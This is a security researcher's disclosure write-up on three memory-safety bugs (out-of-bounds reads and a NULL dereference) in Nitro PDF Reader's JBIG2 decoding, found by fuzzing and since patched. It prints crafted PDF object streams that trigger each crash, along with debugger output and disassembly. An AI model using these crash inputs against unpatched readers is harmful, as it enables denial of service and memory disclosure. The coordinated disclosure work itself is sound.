Nitro Software, Inc. develops commercial software used to create, edit, sign, and secure Portable Document Format files and digital documents. The company has over 650,000 business customers worldwide, and claims millions of users across the globe.
Earlier this year, I decided to do some fuzzing on Nitro PDF software. The software itself is a commercial PDF software that supports create, edit, sign and securing PDF files. However, the code behind the Nitro uses famous library known JBIG2Decode. Plenty of vulnerabilities found during fuzzing but not enough time to triage all. Here’s are some of the example that was sent to vendor. I found out Talos Security team found numbers of vulnerability in Nitro PDF and the info can be found here.
Tested version: 12.0.0.112
An exploitable out-of-bounds read vulnerability exists in the handling of JBIG2Decode object stream attributes of Nitro PDF Reader version 12.0.0.112. A specially crafted PDF document can trigger an out-of-bounds read, which can disclose sensitive memory content and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability. The exception happened on the npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x2e8a.
The OOB issue found when it parse the object stream, where it failed to decode the unicode character found in the stream. This happened when it tries to process the following example:
4 0 obj
<< /Length 103
>>
stream
���������\��
����\ö €üYYYYYPPPPPPPPPPPPPPPPPPPPPPPPPPPpPPPPPPPPPS³:>0¨ÿ+1lV?~~èa"xvi´–„#ÿ¬
endstream
endobj
5 0 obj
<< /DecodeParms << /JBIG2Globals 4 0 R >>
/Width 32
/ColorSpace /DeviceGray
/Height 32
/Filter /JBIG2Decode
/Subtype /Image
/Length 76
/Type /XObject
/BitsPerComponent 1
>>
stream
���0������� ��� ���G���G������"����"��� ��� ��������������žèTìßë N“ÿ¬
endstream
endobj
An access violation happened when open the PDF file with Nitro PDF. Example:
(1b18.1274): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\12\npdf.dll -
npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x2e8a:
00007ff9`28f44bea 443b4b10 cmp r9d,dword ptr [rbx+10h] ds:00000000`00000010=????????
Analyzing thru the vulnerable code found that the heap overflow happened when the library JBIG2DECODE embedded in npdf.dll attempt to read in memory. Crash code path:
.text:00000001803A4BE1 lea r9d, [rdx+r14]
.text:00000001803A4BE5 test r9d, r9d
.text:00000001803A4BE8 js short loc_1803A4C5D
.text:00000001803A4BEA cmp r9d, [rbx+10h] ; exception here
Attempt to read from memory:
0:000> .exr -1
ExceptionAddress: 00007ff928f44bea (npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x0000000000002e8a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000000000010
Attempt to read from address 0000000000000010
An exploitable out-of-bounds read vulnerability exists in the handling of JBIG2Decode object stream attributes of Nitro PDF Reader version 12.0.0.112. A specially crafted PDF document can trigger an out-of-bounds read, which can disclose sensitive memory content and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
The OOB issue found when it parse the object stream, where it failed to decode the unicode character found in the stream. This happened when it tries to process the following example:
4 0 obj
<< /Length 103
>>
stream
���������\��ÿýÿþþþ������}\åõ£!õÜFæ:÷BSö?
âI�vœÐû|íx\Lúùr?/UÄS³:>2¨ÿ+1lV?~~èa"xvi´–„#ÿ¬
endstream
endobj
5 0 obj
<< /DecodeParms << /JBIG2Globals 4 0 R >>
/Width 32
/ColorSpace /DeviceGray
/Height 32
/Filter /JBIG2Decode
/Subtype /Image
/Length 138
/Type /XObject
/BitsPerComponent 1
>>
stream
���0������� ��ÿÿõ
%�G��������"���������������ÿÿæ�����"����¨€����������ÿÿæ����
"����"���û�� ���� ÿÿÿé��H�á�è:ÿú!€€“ÿ¬
endstream
An access violation happened when open the PDF file with Nitro PDF. Example:
(3dc.17d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\12\npdf.dll - npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0xa08a: 00007ff9`28f4bdea 4c8b1cc1 mov r11,qword ptr [rcx+rax*8] ds:000001f3`bf88f020=????????????????
Looking at the function npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2, we assume that this API is used to destroy the object (deallocated from memory). We observe the heap on WinDBG and get this result:
0:000> !heap -p -a 000001f3`bf88f020
address 000001f3bf88f020 found in
_DPH_HEAP_ROOT @ 1f380001000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize- VirtAddr VirtSize)
1f3be999c30: 1f3bf88ef60 a0- 1f3bf88e000 2000
00007ff9682c6cf7 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007ff96826ca9e ntdll!RtlpAllocateHeap+0x000000000009d23e
00007ff9681cda21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
00007ff951c56a57 MSVCR120!malloc+0x000000000000005b [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
00007ff928f4ae3c npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x00000000000090dc
00007ff928f4a523 npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x00000000000087c3
00007ff928f43c20 npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x0000000000001ec0
00007ff928f43252 npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x00000000000014f2
00007ff928f43c86 npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x0000000000001f26
00007ff928e0b13d npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x000000000000897d
00007ff928e0aad2 npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x0000000000008312
00007ff928d51d4c npdf!CAPFileSpecifier::SetType+0x00000000000069dc
00007ff928d51c2e npdf!CAPFileSpecifier::SetType+0x00000000000068be
00007ff928d519d2 npdf!CAPFileSpecifier::SetType+0x0000000000006662
00007ff928cc17eb npdf!CosStreamSetStm+0x00000000000004ab
00007ff928cc120b npdf!CosStreamOpenStm+0x000000000000000b
00007ff928ed9374 npdf!nitro::forms::get_widget_type+0x00000000000c83d4
00007ff928e602ce npdf!nitro::forms::get_widget_type+0x000000000004f32e
00007ff928ee5e6e npdf!nitro::forms::get_widget_type+0x00000000000d4ece
00007ff928d93860 npdf!CxIOFile::Write+0x0000000000009820
00007ff928d95b97 npdf!CxIOFile::Write+0x000000000000bb57
00007ff928d8d1c6 npdf!CxIOFile::Write+0x0000000000003186
00007ff928db1de5 npdf!CxIOFile::Write+0x0000000000027da5
00007ff928d94a5b npdf!CxIOFile::Write+0x000000000000aa1b
00007ff928d017b8 npdf!PDWordGetString+0x0000000000003b18
00007ff928d02d71 npdf!PDPageDrawContentsWithParamsEx+0x0000000000000071
00007ff676ddcebe NitroPDF!CxIOFile::Write+0x00000000000994be
00007ff676de23fc NitroPDF!CxIOFile::Write+0x000000000009e9fc
00007ff928884b26 mfc120u!CView::OnPaint+0x000000000000005a [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp @ 186]
00007ff928899079 mfc120u!CWnd::OnWndMsg+0x00000000000005dd [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 2449]
00007ff928898a68 mfc120u!CWnd::WindowProc+0x0000000000000038 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 2094]
00007ff928896422 mfc120u!AfxCallWndProc+0x000000000000010e [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 282]
From the heap result, we can tell the final execution failed to deallocated object from memory thus resulting out-of-bound read. Exception address:
0:000> .exr -1
ExceptionAddress: 00007ff928f4bdea
(npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x000000000000a08a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 000001f3bf88f020
Attempt to read from address 000001f3bf88f020
A NULL Pointer Dereference vulnerability exists in the handling of JBIG2Globals object stream attributes of Nitro PDF Reader version 12.0.0.112. A specially crafted PDF document can trigger the NULL Pointer, result in the failure of the processing the exception handling. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
The NULL Pointer issue found when it parse the object stream, where it failed to decode the unicode character found in the stream. This happened when it tries to process the following example:
4 0 obj
<< /Length 103
>>
stream
���������\��ÿýÿþþþ������}\åõ£!õÜFæ:÷BSö? âI�vœÐû|íx\Lúùr?/UÄS³:>2¨ÿ+1lV?~~èa"xvi´–„#ÿ¬
endstream
endobj
5 0 obj
w
/Width 32
/ColorSpace /DeviceGray
/Height 32
/Filter /JBIG2Decode
/Subtype /Image
/Length 261
/Type /XObject
/BitsPerComponent 1
>>
stream
���0������� �ÿÿ�G���O������¤"����"��������€���@�Êÿÿ�@�Gÿ��Fÿÿü����¦"����"�������ÿÿÿßòGÿÊ����¤"ÿ��Fÿÿü���!¦*����"���`���o�ÿÿ���G�� ����G���O������¤"����"��������€���@�Éëÿÿ�@�Gÿ��Fÿÿü���«*����"���`����ÿÿ���GÿÿÊèÿ���N���_ÿ€�
endstream
endobj
An access violation happened when open the PDF file with Nitro PDF. Example:
(1f94.1e0c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\12\npdf.dll -
npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x90ec:
00007ff9`28f4ae4c f348ab rep stos qword ptr [rdi]
Analyzing thru the vulnerable code found that the NULL Pointer happened when the library JBIG2Globals embedded in npdf.dll attempts to write to memory. Crash code path:
.text:00000001803AAE2B mov r15d, edi
.text:00000001803AAE2E lea rcx, ds:0[rdi*8] ; Size
.text:00000001803AAE36 call cs:__imp_malloc
.text:00000001803AAE3C mov [rbp+90h+Memory], rax
.text:00000001803AAE40 test edi, edi
.text:00000001803AAE42 jz short loc_1803AAE4F
.text:00000001803AAE44 mov rdi, rax
.text:00000001803AAE47 xor eax, eax
.text:00000001803AAE49 mov ecx, r15d
.text:00000001803AAE4C rep stosq
An attempt to write in to address and registers:
0:000> .exr -1
ExceptionAddress: 00007ff928f4ae4c (npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x00000000000090ec)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000001
Parameter[1]: 0000000000000000
Attempt to write to address 0000000000000000
0:000> r
rax=0000000000000000 rbx=000000ce295faba0 rcx=00000000ff000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=00007ff928f4ae4c rsp=000000ce295fa850 rbp=000000ce295fa9b0
r8=0000000000000008 r9=000000000000005d r10=0000000000000016
r11=000000ce295f9fc8 r12=0000000000000000 r13=0000000000000020
r14=0000029bab05dfd0 r15=00000000ff000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x90ec:
0007ff9`28f4ae4c f348ab rep stos qword ptr [rdi]
Disclosure timeline
2019-03-13 - Reported first bug to Nitro Security team.
* within this timeline, no update from vendor
2019-08-20 - Sent another (two vulnerability) issue to them.
2019-12-03 - Nitro security lead reponse to my email (after so many months) saying that the issue has been resolved.
2019-12-06 - New version released. Tested with latest version 13.8.2.140 to verify the fixes. Issue resolved.
2019-12-11 - Asking for credit and CVEs, vendor saying that they're not part of CNA nor collecting any CVEs for their product. They saying that researcher need to request their own CVE and then Nitro will put it as reference in their website.
2019-12-12 - Advisory released. Next is to request CVEs.
2019-12-17 - CVEs assigned